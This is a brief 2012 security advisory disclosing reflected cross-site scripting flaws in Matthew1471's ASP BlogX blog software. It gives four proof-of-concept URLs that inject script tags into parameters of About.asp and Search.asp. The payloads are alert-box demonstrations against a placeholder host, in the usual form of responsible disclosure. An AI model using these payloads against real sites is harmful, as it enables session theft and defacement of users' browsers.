Matthew1471s ASP BlogX - XSS Vulnerabilities

[demonalex@xxxxxxx]

Title: Matthew1471s ASP BlogX - XSS Vulnerabilities

Software : Matthew1471s ASP BlogX

Software Version : 12 August 2008

Vendor: http://blogx.co.uk/ 

Vulnerability Published : 2012-03-26

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:P/I:N/A:N)

Bug Description :
Matthew1471s ASP BlogX(version update : 12 August 2008) is vulnerable to XSS.

Proof Of Concept :
1)ShowOriginal in About.asp , PoC:
http://VICTIM/About.asp?ShowOriginal=";><SCRIPT>alert("demonalex");</SCRIPT>&ShowNew=a&ShowChanges=b

2)ShowNew in About.asp , PoC:
http://VICTIM/About.asp?ShowOriginal=Y&ShowNew=";><SCRIPT>alert("demonalex");</SCRIPT>&ShowChanges=b

3)ShowChanges in About.asp , PoC:
http://VICTIM/About.asp?ShowOriginal=Y&ShowNew=a&ShowChanges=";><SCRIPT>alert("demonalex");</SCRIPT>

4)Search in Search.asp , PoC:
http://VICTIM/Search.asp?Search=</title><SCRIPT>alert("demonalex");</SCRIPT>&Page=0

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@xxxxxxxxxxxxxxxx
Pentester/Researcher
Dark2S Security Team/PolyU.HK